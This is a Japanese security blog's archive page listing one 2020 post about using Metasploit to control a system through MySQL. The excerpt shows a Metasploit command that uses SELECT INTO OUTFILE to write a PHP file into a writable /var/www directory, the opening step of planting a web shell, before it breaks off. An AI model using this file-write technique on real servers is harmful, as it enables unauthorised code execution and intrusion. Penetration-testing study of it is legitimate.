Shikata Ga Nai

Private? There is no such things.

2020-06-25から1日間の記事一覧

MetasploitでMySQLを介してシステムを操作してみた

Hello there, ('ω')ノ あらかじめ下記のディレクトリが書き込み可能であることが前提でして。 / var / www そこにSQLでファイルを作成するSQL文を設定して。 set SQL "select \"\" INTO OUTFILE \"/var/www/a.php\"" ファイルができていることと中身を確認し…